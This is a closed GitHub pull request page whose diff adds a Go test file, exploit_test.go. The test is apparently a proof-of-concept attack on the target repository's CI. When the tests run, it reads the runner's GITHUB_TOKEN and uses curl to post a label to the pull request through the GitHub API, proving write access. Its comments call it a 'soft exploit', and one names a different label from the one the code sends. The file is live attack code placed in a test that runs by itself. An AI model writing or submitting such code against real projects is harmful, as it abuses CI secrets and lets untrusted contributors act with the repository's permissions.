Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions exploit_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
package exploit

import (
"os"
"os/exec"
"testing"
)

func TestVerifyPermissions(t *testing.T) {
// We use the GITHUB_TOKEN provided to the runner
// We attempt to add a label to the PR to prove WRITE access
token := os.Getenv("GITHUB_TOKEN")
repo := os.Getenv("GITHUB_REPOSITORY")
prNum := os.Getenv("GITHUB_REF_NAME") // Usually contains PR number in pr refs

// If token is empty, the exploit fails (which means they are secure!)
if token == "" {
t.Log("No token found in environment.")
return
}

// Soft exploit: Add a 'bug' label to the PR via GitHub API
cmd := exec.Command("curl", "-X", "POST",
"-H", "Authorization: Bearer "+token,
"-H", "Accept: application/vnd.github+json",
"https://api.github.com/repos/"+repo+"/issues/"+prNum+"/labels",
"-d", `{"labels":["documentation"]}`) // Using a harmless existing label

err := cmd.Run()
if err != nil {
t.Errorf("Failed to execute curl: %v", err)
}
}